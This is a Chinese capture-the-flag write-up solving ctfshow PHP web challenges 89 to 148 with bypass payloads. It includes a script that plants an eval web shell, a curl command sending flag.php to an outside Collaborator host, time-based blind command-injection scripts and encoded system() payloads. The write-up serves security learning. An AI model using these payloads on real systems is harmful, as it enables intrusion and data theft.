ctfshow_php特性

web 89

1
2
3
4
5
6
7
8
9
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

num 不能含有 0-9 , 但是需要是数字

传入空数组 ( 被认为是零 )

?num[]=1

web 90

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

num != 4476 但是 num === 4476

通过 intval 函数来 int 转换

?num=4476.0

因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476%23

web 91

1
2
3
4
5
6
7
8
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}

preg_match('/^php$/im', $a):这个函数尝试在变量$a中搜索与正则表达式/^php$/im匹配的模式。这里的正则表达式含义如下:

  • ^  表示匹配字符串的开始
  • php  是要匹配的字符串
  • $  表示匹配字符串的结束
  • i  是一个修饰符,表示不区分大小写
  • m  是另一个修饰符,表示多行匹配

当出现换行符  %0a的时候,$cmd 的值会被当做两行处理

cmd=1%0aphp

web 92

类似 90 , 但是弱比较 num 不能若等于 4476, 用十六进制绕过

num=0x117c

web 93

类似 90 , 但是弱比较 num 不能若等于 4476 且不出现字母 , 用八进制绕过

num=010574

web 94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

num 不能强等于 4476 不能出现小写字母 开头不能出现 0 int 等于 4476

strpos($num, “0”) (在 PHP 中字符串索引是从 0 开始的)。如果字符串中第一位没有字符 “0”,strpos 将返回 false

num=%20010574 或者 num=+010574 绕过 0

也可以?num=4476.0

web 95

同 94

web 96

1
2
3
4
5
6
7
if(isset($x)){
if($x]=='flag.php'){
die("no no no");
}else{
highlight_file($x]);
}
}

u=./flag.php

u=php://filter/resource=flag.php

web 97

1
2
3
4
5
6
7
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

a[]=1&b[]=2

空数组 md5 为 Null Null === Null

web 98

1
2
3
4
5
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

POST 覆盖

/?flag=1

HTTP_FLAG = flag

web 99

1
2
3
4
5
6
7
8
9
$allow = array();
for ($i=36; $i < 0x36d; $i++) //0x36d=877
{
array_push($allow, rand(1,$i));
}

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

in_array(search,array,type)
如果给定的值 search 存在于数组 array 中则返回 true

如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true

如果没有在数组中找到参数,函数返回 false

如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写
没有第三个参数的时候进行的就是弱比较,就会存在强制的类型转换,如 search = 123.php 就会转换成 123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url = 'https://8bde6d66-f7c8-4ecc-b618-a738287a6385.challenge.ctf.show/'
shell = '1.php'
data = {'content':"<?php @eval($_POST['choco']);?>"}
url_shell = url+'?n='+shell
YoN = True
while YoN:
getshell = requests.post(url=url_shell,data=data) #创建木马
shell_url=url+shell
req = requests.get(url=shell_url)
if(req.status_code == 200):
print('[+]写入shell成功')
data2 = {'choco':'system("nl flag36d.php");'}
req2 = requests.post(url=shell_url,data=data2) #执行木马
print(req2.text)
YoN = False
else:
print('[!]写入shell失败')

web 100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
  1. v0= v1 and v2 and v3

php 比较运算符有优先级 && > = >and

因此 v0 = true and false and false 就可以

  1. eval(“ $v2 (‘ctfshow’) $v3 “);

v2 在前面 可以执行命令

v3 根据过滤条件需要分号

  1. payload
1
2
3
?v1=1&v2=system("ls")&v3=;

?v1=1&v2=system("tac ctfshow.php")&v3=;

$flag_is_3374fd05 0x2d bef5 0x2d 49f6 0x2d aa45 0x2d cfecd0af4051

0x2D - 减号/破折号

flag={3374fd05-bef5-49f6-aa45-cfecd0af4051}

web 101

1
2
3
4
5
6
7
8
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
  1. ReflectionClass 反射类在 PHP5 新加入,继承自 Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
    反射类不仅仅可以建立对类的映射,也可以建立对 PHP 基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类 new ReflectionClass(system(‘cmd’))来执行命令
  2. 目标
1
eval("echo new ReflectionClass('ctfshow');");
  1. payload
1
?v1=1&v2=echo%20new%20ReflectionClass&v3=;

ctfshow{fd3d778c-afe1-4534-bf68-189b3b53742 }

最后一位需要爆破 16 次,题目给的 flag 少一位 我这里是 9

web 102

1
2
3
4
5
if(numberic($v2)){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
file_put_contents($v3,$str);
}

is_numeric( ) 用于检测是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 true,如果字符串中含有一个 e 代表科学计数法,也可返回 true
substr( $v2,2 ) 相当于返回v2[2:]
call_user_func( $f , $cmd ) 用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents( $v3,$str ) 是将$str的内容写入并保存为$v3

目标

1
2
3
$s = 00shell; //shell为base64版本的ascii的十六进制 过数字检验
$str = call_user_func(hex2bin,$s); //十六进制转ASCII
file_put_contents(php://filter/write=convert.base64-decode/resource=choco.php,$str); //base4解码

其中 shell: <?=tac *;

GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=choco.php

POST:v1=hex2bin

web 103

1
2
3
4
5
6
7

$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}

同 102

1
2
3
/?v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=choco.php

v1=hex2bin

web 104

1
2
3
4
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;

?

v1=1 v2=1 就行???

数组绕过也行

web 105

1
2
3
4
5
6
7
8
9
10
11
12
$error='no';
$suces='yes';

//get传参 禁止 error
//post传参 禁止 flag

if(!($_POST['flag']==$flag)){
die($error); //如果不是flag
}

echo "your are good".$flag."\n";
die($suces);

方法一

利用 die($error);

让 flag 不是”flag” (不传就行 ) , error 是”flag”

但是 error 要用 post 传 不能直接传 flag, 那就利用变量覆盖

1
2
3
4
/?suces=flag
error=suces

>> ctfshow{531375dd-6f09-4246-a290-164404ecdcfd}

方法二

利用 die($suces);

要让 flag 是”flag” , suces 是”flag”

1
2
3
4
/?suces=flag&flag=sucess
error=suces

>> your are good ctfshow{531375dd-6f09-4246-a290-164404ecdcfd}

有点多此一举, 换成这个 (纯覆盖做法

1
2
3
/?suces=flag&flag=1

/?new=flag&suces=new&flag=not

web 106

/?v2=2

v1[]=1

web 107

1
2
3
4
5
6
7
8
9
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}

parse_str($v1,$v2); $v2[‘flag’]

意思是 返回 $v2数组中的flag属性 (flag属性由$v1 提供)

1
2
3
/?$v3=1  #MD5:c4ca4238a0b923820dcc509a6f75849b

$v1=flag=c4ca4238a0b923820dcc509a6f75849b

进一步的, 因为 md5 不处理数组 以及处理出 0exxxxx 的时候会用 0 去弱比较

1
2
3
4
5
?v3[]=1
v1=flag=

?v3=240610708
v1=flag=0

web 108

1
2
3
4
5
6
7
8
9
10
11
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  //c=[a-Z]
{
die('error');
}

//只有36d的人才能看到flag

if(intval(strrev($_GET['c']))==0x36d //c=?????778
){
echo $flag;
}

ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回 true,否则返回 false

搜索对于字母字符是区分大小写的,这里是 c 的值要为[a-zA-Z].

ereg 函数存在 NULL 截断漏洞,导致了正则过滤被绕过,所以可以使用%00 截断正则匹配

strrev() 函数反转字符串

intval() 函数用于获取变量的整数值

c=choco%00778

web 109

1
2
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");

目标: eval(“echo new ReflectionClass(system(’ls’));

1
/?v1=ReflectionClass&v2=system('ls')

或者利用内置函数

?v1=mysqli&v2=system(‘tac fl36dg.txt’)

web 110

1
2
3
4
5
6
7
8
if(!preg_match('/[a-zA-Z]+/', $v1)){
die("error v1");
}
if(!preg_match('/[a-zA-Z]+/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

过滤太多了, 只考虑利用内置函数

可以使用 FilesystemIterator 文件系统迭代器来进行利用

通过新建 FilesystemIterator,使用 getcwd()来显示当前目录下的文件结构

1
2
3
4
5
6
?v1=FilesystemIterator&v2=getcwd

>> echo new FilesystemIterator(getcwd())
>> fl36dga.txt

./fl36dga.txt

web 111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}

if(!preg_match('/[a-zA-Z]+/', $v1)){
die("error v1");
}
if(!preg_match('/[a-zA-Z]+/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

利用 getflag —> var_dump —> 带出全局变量

$GLOBALS 是 PHP 中的一个超全局数组,它包含了所有的全局变量,这意味着你可以通过它在脚本的任何地方访问变量,而不需要使用 global 关键字来声明。这些变量包括但不限于:

  • $_GET:包含通过 GET 方法传递的查询字符串变量。
  • $_POST:包含通过 POST 方法传递的变量。
  • $_COOKIE:包含由 cookies 传递的变量。
  • $_FILES:包含通过 POST 方法上传的文件的信息。
  • $_SESSION:用于会话处理的变量。
  • $_SERVER:包含了诸如头信息、路径和脚本位置等信息。

payload

  1. v1 含有 ctfshow 触发函数
  2. v2 是全局变量 (URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null)
1
/?v1=ctfshowchoco&v2=GLOBALS

web 112

1
2
3
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}

/?file=php://filter/resource=flag.php

柠檬!!! 省赛考到了这个 不过省赛没给过滤条件 得自己猜

web 113

两种解法:

1.利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root 代表根目录,进行目录溢出,超过 is_file 能处理的最大长度就不认为是个文件了。file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

2.利用 php 中 zip 伪协议 用法[源于 php 官方提供的一些例子]:

file=compress.zlib://flag.php

web 114

1
2
3
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}同112

web 115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}

$num=$_GET['num'];

if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}

%0c %2B(加号) - . 这四个可以绕过 trim 函数过滤 负号改变数值, 加号和点被过滤

试了一下就只有%0c 可以( 对应于控制字符 FORM FEED (FF),在 URL 编码中,它通常用来表示字符本身的结束。)

?num=%0c36

web 123

1
2
3
4
5
6
7
8
9
10
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
  1. 目标: eval(echo $flag)
  2. CTF_SHOW.COM 需要传值
  3. CTF_SHOW.COM 里面有 点 ,所以前面的下划线用[代替, [被转换成下划线 构造出参数名

出现了[之后 php 就会去找],如果找到了那就是数组,没有找到就被被解析成_

payload

fun=echo $flag&CTF[SHOW.COM=1&CTF_SHOW=1

web 125

123 基础上禁用 echo flag 这些

利用 highlight_file()

/?coco=flag.php

CTF[SHOW.COM=1&CTF_SHOW=1&fun=highlight_file($_GET[coco])

web 126

禁用 g i f c o d

在 web 页模式下必须在 php.ini 开启 register_argc_argv 配置项

设置 register_argc_argv = On(默认是 Off),重启服务,$_SERVER[‘argv’]才会有效

$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

也就是$a[0]= $_SERVER[‘QUERY_STRING’]

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($_SERVER[‘QUERY_STRING’])

这段代码将 CTF_SHOW 和 CTF[SHOW.COM 设置为空字符串,

然后使用 assert($_SERVER[‘QUERY_STRING’]) 执行 assert 函数,

其中传递的参数是 $_SERVER[‘QUERY_STRING’]。

在网页模式下,$_SERVER[‘QUERY_STRING’] 包含了从 URL 中获取的查询字符串。

它被直接传递给了 assert 函数。 这样的代码结构允许通过修改 URL 中的查询字符串来执行任意的 PHP 代码。

因为 assert 函数用于执行字符串中的 PHP 代码。

1
2
3
/?$fl0g=flag_give_me

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web 127

利用空格会被转换成_的特性

/?ctf%20show=ilove36d

至于为什么 ctf_show 这个属性会被修改:

web123-127 中利用$_SERVER[‘argv’]

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

‘argv’

传递给该脚本的参数的数组。

当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。

当通过 GET 方式调用时,该变量包含 query string。

即通过$_SERVER[‘argv’] 将$a 变成数组,

再利用数组的性质将 fl0g=flag_give_me 传入,

同时还绕过第一个 if 中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。

执行 eval 函数== 执行$c ==parse_str($a[1])

使得 fl0g=flag_give_me,从而进入第三个 if 语句

1
2
3
?a=1+fl0g=flag_give_me

fun=assert($a[0])

web 128

1
2
3
4
5
6
7
8
9
10
11
12
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

1
?f2=get_defined_vars&f1=_

_()是一个函数

_()==gettext() 是 gettext()的拓展函数,开启 text 扩展。需要 php 扩展目录下有 php_gettext.dll

get_defined_vars()函数

返回由所有已定义变量所组成的数组 这样可以获得 $flag

因此实际效果

1
2
3
4
5
call_user_func(call_user_func($f1,$f2))
call_user_func(call_user_func(_,'get_defined_vars'))
call_user_func(call_user_func(gettext,'get_defined_vars'))
call_user_func((gettext(get_defined_vars))
call_user_func(get_defined_vars) //输出数组

web 129

1
2
if(stripos($f, 'ctfshow')>0){
echo readfile($f);

stripos 函数用于查询出现位置 且不区分大小写

/?f=/../../../../ctfshow/../../../../../../../var/www/html/flag.php

web 130

主要考察一个 0 === fase

直接 f=ctfshow 秒了

web 131

这里正则表达式绕不过了 , 这里考察了 正则表达式溢出

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit

回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

大概意思就是在 php 中正则表达式进行匹配有一定的限制,超过限制直接返回 false

1
2
3
4
5
6
7
8
9
10
11
import requests

burp0_url = "https://b647fbce-cfcc-4480-9288-15ed443c9da3.challenge.ctf.show/"
# s = '../' * 333333
# long ../ won't work, got HTTP ERROR 413
s = '...' * 333333 + '36dctfshow'
print(len(s))
data = dict(f=s)
ret = requests.post(burp0_url, data=data).text

print(ret)

或者

1
2
3
4
5
6
7
import requests
url = "https://b647fbce-cfcc-4480-9288-15ed443c9da3.challenge.ctf.show/"
data = {
'f': 'mumuzi'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

web 132

/?username=admin&code=admin&password=1

考察了个 || 优先级比 && 低

web 133 Collaborator Client

在 BP 中复制 Collaborator Client 的公网地址

mj9u96j7gih673gwhx6d3414ivomcb.burpcollaborator.net

利用$F传参 发送payload (注意curl前面是有2个空格凑6位截取的 反引号中因为$F 没有意义 php 会自动向后寻找命令执行)

1
https://1dd48bec-b42c-4f12-99a9-6115cd45aa53.challenge.ctf.show/?F=`$F`;  curl -X POST -F xx=@flag.php mj9u96j7gih673gwhx6d3414ivomcb.burpcollaborator.net/

web133_哔哩哔哩_bilibili

传递?F=$F;+sleep 3 好像网站确实 sleep 了一会说明的确执行了命令
那为什么会这样?
因为是我们传递的 $F;+sleep 3。先进行 substr()函数截断然后去执行 eval()函数
这个函数的作用是执行 php 代码,``是 shell_exec()函数的缩写,然后就去命令执行。

而$F就是我们输入的$F ;+sleep 3 使用最后执行的代码应该是
``$F ;sleep 3

curl -F 将 flag 文件上传到 Burp 的 Collaborator Client ( Collaborator Client 类似 DNSLOG,其功能要比 DNSLOG 强大,主要体现在可以查看 POST 请求包以及打 Cookies)

web 134

1
2
3
4
5
6
7
8
9
10
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

parse_str( ):把查询字符串解析到变量中
extract( ):函数从数组中将变量导入到当前的符号表
$_SERVER[‘QUERY_STRING’]:web127

还是利用$_SERVER 传参

1
2
3
4
5
6
7
8
9
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
# 先会以数组来输出,然后extract就成了正常的传参
?_POST[a]=aaa
# 就会输出array(1) { ["a"]=> string(6) "aaa" }
# 再使用extract函数,就会变成$a=aaa

# 因此 payload
?_POST[key1]=36d&_POST[key2]=36d

考察: php 变量覆盖 利用点是 extract($_POST); 进行解析$_POST 数组。

先将 GET 方法请求的解析成变量,然后在利用 extract( ) 函数从数组中将变量导入到当前的符号表。

web 135

1
?F=`$F `;cp flag.php 1.txt

访问./1.txt

( 因为 133 没有写的权限 这题是有的 目前这是最简单方法 dnslog 带出应该也是可以的 现在凌晨一点 就不麻烦了)

web 136

1
2
3
4
5
6
7
8
9
10
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('nonono');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
  1. exec,是执行一个外部程序,回显最后一行,需要用 echo 输出, 这里没有 echo 输出 因此需要重写到其他文件再访问
  2. 但是这里过滤了>符号, 用 tee 指令代替
1
2
tee a.txt b.txt    # 将a.txt复制到b.txt
ls | tee b.txt # 将ls命令的执行结果写入b.txt
  1. payload
1
2
3
4
5
?c=ls /|tee ls
>> f149_15_h3r3

?c=tac /f149_15_h3r3|tee flag
>> ..

web 137

1
2
3
4
5
6
7
8
9
10
11
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

call_user_func($_POST['ctfshow']);

触发 ctfshow.getflag()

POST ctfshow::getFlag

web 138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
} #禁止出现冒号

call_user_func($_POST['ctfshow']);

触发 ctfshow.getflag() 但是禁用了冒号

这里用数组触发 call_user_func( )

POST ctfshow[0]=ctfshow&ctfshow[1]=getFlag

1
2
3
call_user_func('ctfshow','getFlag');

call_user_func('ctfshow::getFlag');

web 139

1
2
3
4
5
6
7
8
9
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('nonono');
}
}

$c=$_GET['c'];
check($c);
exec($c);

很像 136 但是这次不让写了 只能利用分隔符盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then
sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "

## NO.2
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep
3;fi".format(j,n)
#print(payload)
url="http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

但是这个格式 懒得改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = 'https://4777f6f6-2d34-4bc7-9f15-81c791413bc4.challenge.ctf.show/'
res = ''
for j in range(1,60):
for k in range(32,128):
k = chr(k)
payload = "?c="+f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload,timeout=(1.5,1.5))
except:
res += k
print(res)
break
res += ' '

很慢 www

ctfshow{eb94540e-5e6f-443b-a821-54f65d37a04e}

web 140

1
2
3
4
5
6
7
8
9
10
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];

if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
  1. f1 f2 是数字字母
  2. 使得 int($code) == ‘ctfshow’ 成立
  3. 在弱等于中 0 == ‘ctfshow’ (Null == ‘ctfshow’ 不成立)
  4. f1 f2 等于 sha1 md5 serialize 都行 (因为没有参数 返回 0)

web 141

1
2
3
4
5
6
7
8
9
10
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
  1. 正则匹配严格
  • ^:匹配字符串的开始。
  • \W:匹配任何非单词字符(等价于  [^a-zA-Z0-9_]),即不是字母、数字或下划线。
  • +:表示前面的字符或组可以重复一次或多次。
  • $:匹配字符串的结束。

如果 $v3 包含任何字母、数字或下划线,正则表达式将不会匹配
这里构造无数字字母的 payload v3 (自增 取反之类)

v1 v2 随便数字就行
注意的是这里有个 return 干扰,所以要在 v3 的 payload 前边和后面加上一些字符就可以执行命令,例如+ - * 等等 (总之 v3 要跟前后分隔开 不然 1system()2 系统不知道是什么)

1
2
3
4
5
6
7
<?php
$v1=1;
$v2=1;

$code = eval("return 1+system('cd ..;ls')*$v2;");
$code = eval("return 1^system('cd ..;ls')|$v2;");
?>
1
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

?v1=1&v2=1&v3=*(“%08%02%08%08%05%0d”^”%7b%7b%7b%7c%60%60”)(“%0c%08”^”%60%7b”); // system ls

/?v1=1&v2=1&v3=*(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%14%01%03%00%06%0c%01%07%00%10%08%10”|”%60%60%60%20%60%60%60%60%2e%60%60%60”); // system tac flag.php

web 142

1
2
3
4
5
6
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}

什么昏睡红茶

利用高深的小学数学原理 传入 v1=-1

查看源码得到 flag

web 143

1
2
3
4
5
6
7
8
9
10
11
12
13
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}

%无了(但是为什么能用啊)

分号无了 最后的分号用 ?>或者*代替

?v1=1&v2=1&v3=(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%0c%01%07%01%0f%08%0f”^”%7f%60%60%20%60%60%60%60%2f%7f%60%7f”)

web 144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

换了个参数而已

?v1=1&v3=1&v2=*(“%08%02%08%08%05%0d”^”%7b%7b%7b%7c%60%60”)(“%08%01%03%00%06%0c%01%07%00%0b%08%0b”^”%7c%60%60%20%60%60%60%60%2e%7b%60%7b”);

web 145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

过滤了异或 可以取反, ; * +- 也被过滤 用 |

?v1=1&v2=1&v3=|(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web 146

同 145

web 147

1
2
3
4
5
6
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}

hint

php 里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名 function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法

这里利用create_function()进行代码注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# string create_function( string $args, string $code)

# 等价于
function f($args){
$code
}

# 举个例子
create_function('$choco','echo $funcname."CH0ico"')

# 就是
function f($choco){
echo $funcname."CH0ico";
}

那么传入

GET: ?show=echo choco;}system(“tac f*”);/*

POST: ctf=\create_function

代码就变成了

1
2
3
4
5
6
7
function f(null){
echo choco;
}
system("tac f*");


/*}

web 148

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['code'])){
$code=$_GET['code'];
